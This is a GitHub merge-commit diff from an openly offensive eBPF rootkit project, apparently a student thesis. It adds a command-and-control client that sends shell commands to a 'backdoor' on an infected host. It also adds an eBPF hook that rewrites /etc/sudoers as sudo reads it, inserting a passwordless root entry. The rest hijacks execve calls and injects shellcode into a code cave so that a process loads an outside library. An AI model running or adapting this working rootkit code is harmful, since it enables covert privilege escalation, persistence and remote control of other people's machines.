Merge pull request #26 from h3xduck/injection

Library injection + sudo bypass + initial version of C2
This commit is contained in:
Marcos S. Bajo
2022-04-27 23:59:56 +02:00
committed by GitHub
59 changed files with 18522 additions and 1449 deletions

View File

@@ -19,6 +19,10 @@
"netlink.h": "c",
"bpf_helper_defs.h": "c",
"bpf.h": "c",
"stddef.h": "c"
"stddef.h": "c",
"ring_buffer.h": "c",
"bpf_helpers.h": "c",
"tcp_helper.h": "c",
"stdio.h": "c"
}
}

View File

@@ -0,0 +1,4 @@
readelf -s <>
readelf -S <>
fn symbol offset = fn symbol VA - .text VA + .text offset

View File

@@ -45,7 +45,8 @@ static long get_base_addr() {
while (fscanf(f, "%zx-%*x %s %zx %*[^\n]\n", &start, buf, &offset) == 3) {
if (strcmp(buf, "r-xp") == 0) {
fclose(f);
fclose(f); // 401380 //text offset-> 1290 //text VA->401290
//4199296 //4752 //4199056
return start - offset;
}
}

91
resources/.gdb_history Normal file
View File

@@ -0,0 +1,91 @@
q
disass main
b main
r
q
b * 0x0000000000001189
r
si
q
b main
del 1
b 0x0000000000001189
b *0x0000000000001189
r
q
b main
r
disass main
b __init
q
starti
si
disass main
q
starti
q
b main
r
x/16x *(rbp)
x/16x *(rbp-0x14)
d *(rbp-0x14)
d ç(rbp-0x14)
p (rbp-0x14)
p ($rbp-0x14)
p/d ($rbp-0x14)
p/x ($rbp-0x14)
p ($rbp-0x14)
x/2b ($rbp-0x14)
x/2b ($rbp-0x20)
x/8b ($rbp-0x20)
x/10b ($rbp-0x20)
x/12b ($rbp-0x20)
x/20b ($rbp-0x20)
x/22b ($rbp-0x20)
x/26b ($rbp-0x20)
x/28b ($rbp-0x20)
x/12b ($rbp-0x20)
x/14b ($rbp-0x20)
si
x/10i $rax
x/10i 0x555555555070
x/20i 0x555555555070
x/30i 0x555555555070
si
q
starti
b main
c
si
b __dlopen
c
q
b main
r
si
ni
si
ni
c
q
b main
r
si
ni
si
ni
q
b main
r
si
find dlopen
q
b main
r
si
ni
q
b main
r
si
q

Binary file not shown.

BIN
resources/example_dlopen Executable file

Binary file not shown.

View File

@@ -0,0 +1,15 @@
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <dlfcn.h>
int main(int argc, char* argv[]){
void *handle = dlopen("/home/osboxes/TFG/src/helpers/injection_lib.so", RTLD_LAZY);
if(handle==NULL){
perror(dlerror());
}
return 0;
}

View File

@@ -0,0 +1,13 @@
<nop>
push rax # 50
push rdx # 52
push rsi # 56
push rdi # 57
mov rax, <dlopen> # 48b8 <addr little endian> --> gdb: set *(int64_t *)0x402e95 = 0x7FFFF7D89560B848
jmp rax # ffe0 --> gdb: set *(int64_t *)0x402e9d = 0xe0ff0000
pop rdi
pop rsi
pop rdx
pop rax
ret

View File

@@ -0,0 +1,2 @@
break main

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff

View File

@@ -16,7 +16,7 @@ COMMON_INCLUDES := -I$(abspath ./ebpf/include) -I$(abspath ./user/include)
# Use our own libbpf API headers and Linux UAPI headers distributed with
# libbpf to avoid dependency on system-wide headers, which could be missing or
# outdated
INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I$(dir $(VMLINUX))
INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I$(dir $(VMLINUX)) -I./libbpf/include/uapi/linux
#INCLUDES := -I$(OUTPUT) -I./libbpf/include/uapi -I/lib/modules/5.11.0-41-generic/build/include -I/lib/modules/$$(uname -r)/build/include/uapi -I/lib/modules/$$(uname -r)/build/include/generated/uapi -I/lib/modules/$$(uname -r)/build/arch/x86/include -I/lib/modules/$$(uname -r)/build/arch/x86/include/generated #-I$(dir $(VMLINUX))
CFLAGS := -g -Wall
ARCH := $(shell uname -m | sed 's/x86_64/x86/')
@@ -47,7 +47,7 @@ else
endif
.PHONY: all
all: $(APPS)
all: $(APPS) tckit
.PHONY: clean
clean:
@@ -92,17 +92,22 @@ $(USER_INCLUDES_OBJ): $(wildcard $(USER_INCLUDES_SRC)/**/*.h) | $(OUTPUT)
#User code
$(OUTPUT)/%.o: $(USER)/%.c $(wildcard $(USER)/*.h)| $(OUTPUT)
$(call msg,CC,$@)
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -o $@
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $(COMMON_INCLUDES) -c $(filter $(USER)/%.c,$^) -o $@ -ldl
# Build application binary
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) $(USER_INCLUDES_OBJ) | $(OUTPUT)
$(call msg,BINARY,$@)
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -o bin/$@
$(Q)$(CC) $(CFLAGS) $(INCLUDES) $^ -lelf -lbpf -lz -o bin/$@ -ldl
$(Q)rm $(USER_INCLUDES_OBJ)
tckit: $(abspath $(EBPF)/include/bpf)/tc.c
clang -O2 -emit-llvm -c $(abspath $(EBPF)/include/bpf)/tc.c -o - | \
llc -march=bpf -mcpu=probe -filetype=obj -o tc.o
# delete failed targets
.DELETE_ON_ERROR:
# keep intermediate (.skel.h, .bpf.o, etc) targets
.SECONDARY:
SECONDARY:

Binary file not shown.

View File

@@ -10,6 +10,7 @@
#include <stdlib.h>
#include "../common/constants.h"
#include "../common/c&c.h"
// For printing with colors
#define KGRN "\x1B[32m"
@@ -30,9 +31,12 @@ void print_welcome_message(){
void print_help_dialog(const char* arg){
printf("\nUsage: %s OPTION victim_IP\n\n", arg);
printf("Program OPTIONs\n");
char* line = "-S";
char* line = "-S IP";
char* desc = "Send a secret message to IP";
printf("\t%-40s %-50s\n\n", line, desc);
line = "-c IP";
desc = "Activate direct command & control shell with IP";
printf("\t%-40s %-50s\n\n", line, desc);
line = "-h";
desc = "Print this help";
printf("\t%-40s %-50s\n\n", line, desc);
@@ -135,6 +139,52 @@ void send_secret_packet(char* argv){
free(local_ip);
}
void activate_command_control_shell(char* argv){
char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
check_ip_address_format(argv);
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, CC_PROT_SYN);
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
//Sending the malicious payload
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
return;
}else{
printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
}
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
//Wait for rootkit ACK to ensure it's up
rawsocket_sniff_pattern(CC_PROT_ACK);
printf("["KGRN"OK"RESET"]""Success, received ACK from backdoor\n");
//Received ACK, we proceed to send command
while(1){
char buf[BUFSIZ];
printf(""KYLW"c>:"RESET"");
fgets(buf, BUFSIZ, stdin);
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
buf[strlen(buf)-1] = '\0';
}
char msg[BUFSIZ];
strcpy(msg, CC_PROT_MSG);
strcat(msg, buf);
packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, msg);
printf("Sending %s\n", msg);
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
return;
}
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
packet = rawsocket_sniff_pattern(CC_PROT_MSG);
char* res = packet.payload;
printf("["KGRN"RESPONSE"RESET"] %s\n", res);
}
free(local_ip);
}
void main(int argc, char* argv[]){
if(argc<2){
@@ -154,7 +204,7 @@ void main(int argc, char* argv[]){
char path_arg[512];
//Command line argument parsing
while ((opt = getopt(argc, argv, ":S:h")) != -1) {
while ((opt = getopt(argc, argv, ":S:c:h")) != -1) {
switch (opt) {
case 'S':
print_welcome_message();
@@ -166,6 +216,17 @@ void main(int argc, char* argv[]){
send_secret_packet(dest_address);
PARAM_MODULE_ACTIVATED = 1;
break;
case 'c':
print_welcome_message();
sleep(1);
//Send a secret message
printf("["KBLU"INFO"RESET"]""Activated COMMAND & CONTROL shell\n");
//printf("Option S has argument %s\n", optarg);
strcpy(dest_address, optarg);
activate_command_control_shell(dest_address);
PARAM_MODULE_ACTIVATED = 1;
break;
/*case 'u':
print_welcome_message();

Binary file not shown.

Binary file not shown.

View File

@@ -31,5 +31,6 @@ int rawsocket_send(packet_t packet);
packet_t rawsocket_sniff();
packet_t rawsocket_sniff_pattern(char* payload_pattern);
#endif

Binary file not shown.

11
src/common/c&c.h Normal file
View File

@@ -0,0 +1,11 @@
#ifndef __BPF_CC_H
#define __BPF_CC_H
#define CC_PROT_SYN "CC_SYN"
#define CC_PROT_ACK "CC_ACK"
#define CC_PROT_MSG "CC_MSG#"
#define CC_PROT_FIN_PART "CC_FIN"
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
#endif

View File

@@ -6,8 +6,47 @@
#define SECRET_PACKET_DEST_PORT 9000
#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
//FS
#define STRING_FS_HIDE "This won't be seen"
#define STRING_FS_OVERWRITE "That is now hidden"
#define STRING_FS_SUDO_TASK "sudo"
#define STRING_FS_SUDO_TASK_LEN 5
#define STRING_FS_SUDOERS_FILE "/etc/sudoers"
#define STRING_FS_SUDOERS_FILE_LEN 13
#define STRING_FS_SUDOERS_ENTRY "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
#define STRING_FS_SUDOERS_ENTRY_LEN 37
//EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijackdeactivated\0"
//LIBRARY INJECTION WITH ROP
#define TASK_COMM_NAME_ROP_TARGET "simple_timer"
#define CODE_CAVE_ADDRESS_STATIC 0x0000000000402e95
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \
"\x55\x50\x51\x52\x53\x57\x56\
\xbf\x00\x20\x00\x00\x48\xbb"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1_LEN 14
#define CODE_CAVE_SHELLCODE_ASSEMBLE_2 \
"\xff\xd3\x48\x89\xc3\xc7\x00\x2f\x68\x6f\x6d\
\xc7\x40\x04\x65\x2f\x6f\x73\xc7\x40\x08\x62\x6f\x78\
\x65\xc7\x40\x0c\x73\x2f\x54\x46\xc7\x40\x10\x47\x2f\
\x73\x72\xc7\x40\x14\x63\x2f\x68\x65\xc7\x40\x18\x6c\
\x70\x65\x72\xc7\x40\x1c\x73\x2f\x69\x6e\xc7\x40\x20\
\x6a\x65\x63\x74\xc7\x40\x24\x69\x6f\x6e\x5f\xc7\x40\
\x28\x6c\x69\x62\x2e\xc7\x40\x2c\x73\x6f\x00\x00\x48\
\xb8"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_2_LEN 90
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3 \
"\xbe\x01\x00\x00\x00\x48\x89\xdf\
\x48\x81\xec\x00\x10\x00\x00\xff\
\xd0\x48\x81\xc4\x00\x10\x00\x00\x5e\
\x5f\x5b\x5a\x59\x58\x5d\xff\x25\x00\x00\x00\x00"
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 37
#endif

View File

@@ -1,23 +1,29 @@
#ifndef __MAP_COMMON_H
#define __MAP_COMMON_H
#define RB_EVENT_MAX_MESSAGE_SIZE 512
// Ring buffer for kernel->user communication
#define RB_EVENT_MAX_MESSAGE_SIZE 512
typedef enum {
INFO,
DEBUG,
EXIT,
ERROR
ERROR,
VULN_SYSCALL
} event_type_t;
struct rb_event {
int pid;
char message[RB_EVENT_MAX_MESSAGE_SIZE];
int code;
__u64 syscall_address;
__u64 process_stack_return_address;
__u64 libc_main_address;
__u64 libc_dlopen_mode_address;
__u64 libc_malloc_address;
__u64 got_address;
__s32 got_offset;
int relro_active;
event_type_t event_type;
};
#endif

14
src/common/map_prot.h Normal file
View File

@@ -0,0 +1,14 @@
#ifndef __MAP_PROT_H
#define __MAP_PROT_H
#include "headervmlinux.h"
/*PRIVATE MAPS*/
//Any attempt to access these maps will be blocked by the rootkit
//Exclusive to bpf, see /src/bpf/defs.h
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
#endif

View File

@@ -0,0 +1,63 @@
#ifndef __BPF_MAP_DEFS_H
#define __BPF_MAP_DEFS_H
#include "headervmlinux.h"
//Tasks and comms
#define TASK_COMM_LEN 16
/*PRIVATE MAPS*/
//Any attempt to access these maps will be blocked by the rookit
//File system data of a running program which opened some fd
#define FS_OPEN_DATA_PROGRAM_NAME_SIZE 16
#define FS_OPEN_DATA_FILENAME_SIZE 16
struct fs_open_data{ //Map value
char* buf;
int fd;
__u32 pid;
char program_name[FS_OPEN_DATA_PROGRAM_NAME_SIZE];
char filename[FS_OPEN_DATA_FILENAME_SIZE];
int is_sudo;
};
struct inj_ret_address_data{ //Map value
__u64 libc_syscall_address;
__u64 stack_ret_address;
__u64 relro_active;
__u64 got_address;
__s32 got_offset;
__s32 padding;
};
struct fs_priv_open{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct fs_open_data);
} fs_open SEC(".maps");
//State of the execve hijacker. 0 inactive, 1 active
struct exec_var_priv_hijack_active{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1);
__type(key, __u64);
__type(value, __u64);
} exec_var_hijack_active SEC(".maps");
//Return addresses of syscalls in the shared library, for the library injection
struct inj_priv_ret_address{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct inj_ret_address_data);
} inj_ret_address SEC(".maps");
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
//Located at /src/map_prot.h
#endif

204
src/ebpf/include/bpf/exec.h Normal file
View File

@@ -0,0 +1,204 @@
#ifndef __EXEC_H
#define __EXEC_H
#include "headervmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "../../../common/constants.h"
#include "../../../common/map_common.h"
#include "defs.h"
#include "../utils/strings.h"
#define NUMBER_ARGUMENTS_PARSED 12
#define ARGUMENT_LENGTH 64
/**
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_execve/format
*/
struct sys_execve_enter_ctx {
unsigned long long unused;
int __syscall_nr;
unsigned int padding;
const char* filename;
const char* const* argv;
const char* const* envp;
};
volatile int hijacker_state = 0;
/**
* @brief Checks for the error case 2 described in the execve handler when overwriting the filename userspace buffer.
*
* @param ctx
* @return 0 if OK, -1 if error exists
*/
static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *ctx, char* org_filename, char* org_argv){
unsigned char* argv[1] = {0};
unsigned char filename[1] = {0};
char* chosen_comp_char = "w\0";
if(ctx==NULL || ctx->argv == NULL|| org_filename==NULL){
return -1;
}
char org_argv_c;
if(bpf_probe_read(&org_argv_c, 1, org_argv)<0){
bpf_printk("Error reading test 3\n");
return -1;
}
//if(str_n_compare((char*)org_argv, 1, (char*)chosen_comp_char, 1, 1)==0){
if(org_argv_c == 'w'){
//Better not to go with this case, we won't be able to know whether that was a coincidence
bpf_printk("Equal from the start\n");
return -1;
}
if(bpf_probe_write_user((void*)(ctx->filename), (void*)chosen_comp_char, 1)<0){
bpf_printk("Error writing to user memory at test by %s\n", org_filename);
return -1;
}
if(bpf_probe_read_user(&argv, 1, ctx->argv)<0){
bpf_printk("Error reading test 1\n");
return -1;
};
if(bpf_probe_read_user(&filename, 1, ctx->filename)<0){
bpf_printk("Error reading tets 2\n");
return -1;
};
char argv_c;
if(bpf_probe_read(&argv_c, 1, org_argv)<0){
bpf_printk("Error reading test 3\n");
return -1;
}
if(argv_c == 'w'){
//Now they are equal, so we are in the error case 2. We must revert our changes
bpf_printk("Error case 2\n");
bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);
return -1;
}
//Everything went fine, but let's fix our modification anyways since the next write to user memory, which
//implies more bytes, may fail.
bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);
return 0;
}
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
//Check if the exec hijacker is active already
if(hijacker_state == 1){
return 0;
}
//bpf_printk("Starting execve hijacker\n");
unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
//unsigned char* envp[PROGRAM_LENGTH] = {0};
unsigned char filename[ARGUMENT_LENGTH] = {0};
if(ctx==NULL || ctx->argv == NULL){
return -1;
}
if(bpf_probe_read_user(&argv, ARGUMENT_LENGTH, ctx->argv)<0){
bpf_printk("Error reading 1\n");
};
/*if(bpf_probe_read_user(&envp, PROGRAM_LENGTH, ctx->envp)<0){
bpf_printk("Error reading 2\n");
};*/
if(bpf_probe_read_user(&filename, ARGUMENT_LENGTH, ctx->filename)<0){
bpf_printk("Error reading 3\n");
};
/*bpf_printk("OLD ARGV0: %s\n", argv[0]);
bpf_printk("ARGV1: %s\n", argv[1]);
bpf_printk("ARGV2: %s\n", argv[2]);
//bpf_printk("ENVP: %s\n", envp);
bpf_printk("FILENAME: %s\n", filename);*/
if((void*)ctx->filename==(void*)(ctx->argv)){
//bpf_printk("Equal pointers");
}else{
//bpf_printk("Not equal pointers %u, %u", ctx->filename, ctx->argv);
}
if(str_n_compare((char*)filename, ARGUMENT_LENGTH, (char*)PATH_EXECUTION_HIJACK_PROGRAM, sizeof(PATH_EXECUTION_HIJACK_PROGRAM), sizeof(PATH_EXECUTION_HIJACK_PROGRAM)-1)!=0){
//return 0;
}
/*
eBPF can only modify user memory, and thus we may find ourselves into trouble here
As it can be here https://elixir.bootlin.com/linux/v5.11/source/fs/exec.c#L2054
we receive an userspace buffer, which is later tweaked via getname().
Since we are hooking before that call, we should have user-accessible memory, however from my experience it works *only sometimes*.
This seems very related https://stackoverflow.com/questions/63114141/how-to-modify-userspace-memory-using-ebpf
And this thread discusses the issue https://www.spinics.net/lists/bpf/msg16795.html
However, there is no clear solution. bpf_probe_write_user is simply not reliable enough. Two problems arise:
1* The call simply fails and returns EFAULT(-14). This happens apparently randomly in some calls, but for some paths it ALWAYS happens,
while others always work.
2* The call not only overwrites the filename, but also argv[0] with a single write. This may be related to userspace programs using
the same buffer for both filename and argv[0], since it is the same data in the end. Accordingly, when this event happens both
the pointers are very close to one another (196 bytes exactly), but not pointing to the same exact location, which is a mystery.
Another solution could be to hook do_execve and access the filename struct, which still contians
an userspace buffer with filename inside. However if we failed to overwrite it before, we will too now.
Also we can overwrite the return value of the syscall, pass the arguments to the internal ring buffer, read it from the
user-side of the rootkit, and fork a process with the requested execve() call. I considered this not to be good enough.
*/
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
#pragma unroll
for(int ii=0; ii<sizeof(PATH_EXECUTION_HIJACK_PROGRAM); ii++){
(to_write[ii]) = PATH_EXECUTION_HIJACK_PROGRAM[ii];
}
if(argv[0]==NULL){
return -1;
}
//Provided that the case error 2 may happen, we check if we are on that case before going ahead and overwriting everything.
if(test_write_user_unique(ctx, (char*)filename, (char*)argv[0])!=0){
//bpf_printk("Test failed\n");
return -1;
}else{
//bpf_printk("Test completed\n");
}
if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){
bpf_printk("Error writing to user memory by %s\n", filename);
//bpf_printk("NEW ARGV0: %s\n", argv[0]);
//bpf_printk("ARGV1: %s\n", argv[1]);
//bpf_printk("ARGV2: %s\n", argv[2]);
return -1;
}
hijacker_state = 1;
unsigned char newfilename[ARGUMENT_LENGTH] = {0};
unsigned char* newargv[NUMBER_ARGUMENTS_PARSED] = {0};
if(bpf_probe_read_user(&newfilename, ARGUMENT_LENGTH, ctx->filename)<0){
bpf_printk("Error reading\n");
};
if(bpf_probe_read_user(&newargv, ARGUMENT_LENGTH, ctx->argv)<0){
bpf_printk("Error reading 1\n");
};
/*bpf_printk("SUCCESS NEW FILENAME: %s\n", newfilename);
bpf_printk("NEW ARGV0: %s\n\n", newargv[0]);
bpf_printk("NEW ARGV1: %s\n", newargv[1]);
bpf_printk("NEW ARGV2: %s\n", newargv[2]);*/
//bpf_printk("ORIGINAL %s\n\n", filename);
return 0;
}
SEC("tp/syscalls/sys_enter_execve")
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
return -1;
}
return handle_tp_sys_enter_execve(ctx, pid_tgid);
}
#endif

View File

@@ -9,6 +9,7 @@
#include <linux/ptrace.h>
#include <linux/stat.h>*/
#include <ctype.h>
#include <string.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
@@ -17,11 +18,12 @@
#include "../../../common/constants.h"
#include "../../../common/map_common.h"
#include "../data/ring_buffer.h"
#include "map_defs.h"
#include "defs.h"
#include "../utils/strings.h"
/**
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_exit_read/format
* Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
*/
struct sys_read_exit_ctx {
unsigned long long unused; //Pointer to pt_regs
@@ -30,7 +32,8 @@ struct sys_read_exit_ctx {
};
/**
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_read/format
* Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
*/
struct sys_read_enter_ctx {
unsigned long long unused; //Pointer to pt_regs
@@ -41,52 +44,40 @@ struct sys_read_enter_ctx {
size_t count;
};
static __always_inline int handle_sys_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
/**
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format
*/
struct sys_openat_enter_ctx {
unsigned long long unused;
int __syscall_nr;
unsigned int padding;
int dfd;
char* filename;
unsigned int flags;
umode_t mode;
};
static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32;
struct fs_open_data data = {
.buf = buf,
.fd = fd,
.pid = pid
};
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
if (stored_data == NULL){
//Not found
//bpf_printk("Not found\n");
return -1;
}
struct fs_open_data data = *stored_data;
data.buf = buf;
data.fd = fd;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);
//bpf_printk("IN PID: %u, FS:%u\n", pid, fd);
return 0;
}
/**
* @brief Receives read event and stores the parameters into internal map
*
*/
SEC("tracepoint/syscalls/sys_enter_read")
int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) {
struct sys_read_enter_ctx *rctx = ctx;
if (ctx == NULL){
bpf_printk("Error\n");
return 0;
}
int fd = (int) ctx->fd;
char *buf = (char*) ctx->buf;
return handle_sys_read(ctx, fd, buf);
}
/**
* @brief Called AFTER the ksys_read call, checks the internal
* map for the tgid+pid used and extracts the parameters.
* Uses the user-space buffer reference for overwritting the returned
* values.
*
*/
SEC("tracepoint/syscalls/sys_exit_read")
int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
static __always_inline int handle_tp_sys_exit_read(struct sys_read_exit_ctx *ctx, __u64 pid_tgid){
struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
if (data == NULL || data->buf == NULL){
//Not found
@@ -100,12 +91,43 @@ int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
char msg_original[] = STRING_FS_HIDE;
char msg_overwrite[] = STRING_FS_OVERWRITE;
char c_buf[sizeof(msg_overwrite)] = {0};
char sudo_line_overwrite[] = STRING_FS_SUDOERS_ENTRY;
char c_buf_sudo[STRING_FS_SUDOERS_ENTRY_LEN] = {0};
if(buf == NULL){
return -1;
}
//For including an user in the sudoers file
//We just put our new line there, independently on what the rest of the file contains
if(data->is_sudo==1){
//bpf_printk("Proceeding to verwrite sudo\n");
if(bpf_probe_write_user((void*)buf, (void*)sudo_line_overwrite, (__u32)STRING_FS_SUDOERS_ENTRY_LEN-1)<0){
bpf_printk("Error writing to user memory\n");
return -1;
}
//Overwriting the first line is enough, but we must go one step further now.
//If the current user has sudo privileges already, then another entry will describe its permissions too,
//and that one will override the NOPASSWD entry we wrote now. In order to increment the probability
//that we achieve free full sudo capabilities without password, we must override some more chars.
//For the best results: First measure byte length of sudoers. And fill with '#' (total-length - length sudo__line_overwrite)
//Not enough overwritten bytes and you may not get privesc, too many and you may overwrite something else.
int CHARS_TO_OVERRIDE = 700;
char char_override = '#';
for (int ii = 0; ii<CHARS_TO_OVERRIDE; ii++){
if(bpf_probe_write_user((void*)buf+ STRING_FS_SUDOERS_ENTRY_LEN+ii, (void*)&char_override, (__u32)1)<0){
bpf_printk("Error writing to user memory in additional symbol\n");
break;
}
}
bpf_printk("Sudo overwritten\n");
return 0;
}
#pragma unroll
//For PoC 2 - Modifying text read from a file
#pragma unroll
for(int ii=0; ii<sizeof(msg_original)-1; ii++){
if(bpf_probe_read_user(c_buf+ii, 1, buf+ii)<0){
//bpf_printk("Error reading\n");
@@ -122,10 +144,11 @@ int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
//bpf_printk("Discarded string at pid cause c %u, %s\n", pid, buf);
return -1;
}
}
bpf_printk("Overwritting at pid %u, %s\n", pid, buf);
bpf_printk("Filename is %s\n", data->filename);
bpf_printk("and program name is %s\n", data->program_name);
if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){
bpf_printk("Error writing to user memory\n");
}
@@ -134,4 +157,106 @@ int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
return 0;
}
static __always_inline int handle_tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx, __u64 pid_tgid){
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
/*struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
if (data == NULL || data->buf == NULL){
//Not found
bpf_printk("Not found in openat\n");
return -1;
}*/
if(err < 0){
return -1;
}
char filename[STRING_FS_SUDOERS_FILE_LEN] = {0};
bpf_probe_read_user(&filename, STRING_FS_SUDOERS_FILE_LEN, (char*)ctx->filename);
__u32 pid = pid_tgid >> 32;
struct fs_open_data data = {
.pid = pid
};
bpf_probe_read(data.filename, STRING_FS_SUDOERS_FILE_LEN, filename);
bpf_probe_read(data.program_name, FS_OPEN_DATA_PROGRAM_NAME_SIZE, comm);
//Check task is sudo
char *sudo = STRING_FS_SUDO_TASK;
if(str_n_compare(comm, TASK_COMM_LEN, sudo, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
data.is_sudo = 0;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
return 0;
}
//Check filename is the sudoers file
char *sudoers = STRING_FS_SUDOERS_FILE;
if(str_n_compare(filename, STRING_FS_SUDOERS_FILE_LEN, sudoers, STRING_FS_SUDOERS_FILE_LEN, STRING_FS_SUDOERS_FILE_LEN) != 0){
data.is_sudo = 0;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
return 0;
}
data.is_sudo = 1;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
//bpf_printk("It was a sudo!\n");
return 0;
}
/**
* @brief Receives read event and stores the parameters into internal map
*
*/
SEC("tp/syscalls/sys_enter_read")
int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) {
struct sys_read_enter_ctx *rctx = ctx;
if (ctx == NULL){
bpf_printk("Error\n");
return 0;
}
int fd = (int) ctx->fd;
char *buf = (char*) ctx->buf;
return handle_tp_sys_enter_read(ctx, fd, buf);
}
/**
* @brief Called AFTER the ksys_read call, checks the internal
* map for the tgid+pid used and extracts the parameters.
* Uses the user-space buffer reference for overwritting the returned
* values.
*/
SEC("tp/syscalls/sys_exit_read")
int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
return handle_tp_sys_exit_read(ctx, pid_tgid);
}
/**
* @brief
*
*/
SEC("tp/syscalls/sys_enter_openat")
int tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
return handle_tp_sys_enter_openat(ctx, pid_tgid);
}
#endif

View File

@@ -0,0 +1,348 @@
#ifndef __BPF_INJECTION_H
#define __BPF_INJECTION_H
#include "headervmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "../../../common/constants.h"
#include "defs.h"
#include "../../../common/map_common.h"
#include "../data/ring_buffer.h"
#define OPCODE_JUMP_BYTE_0 0xe8
#define OPCODE_PLT_JMP_BYTE_0 0xff
#define OPCODE_PLT_JMP_BYTE_1 0x25
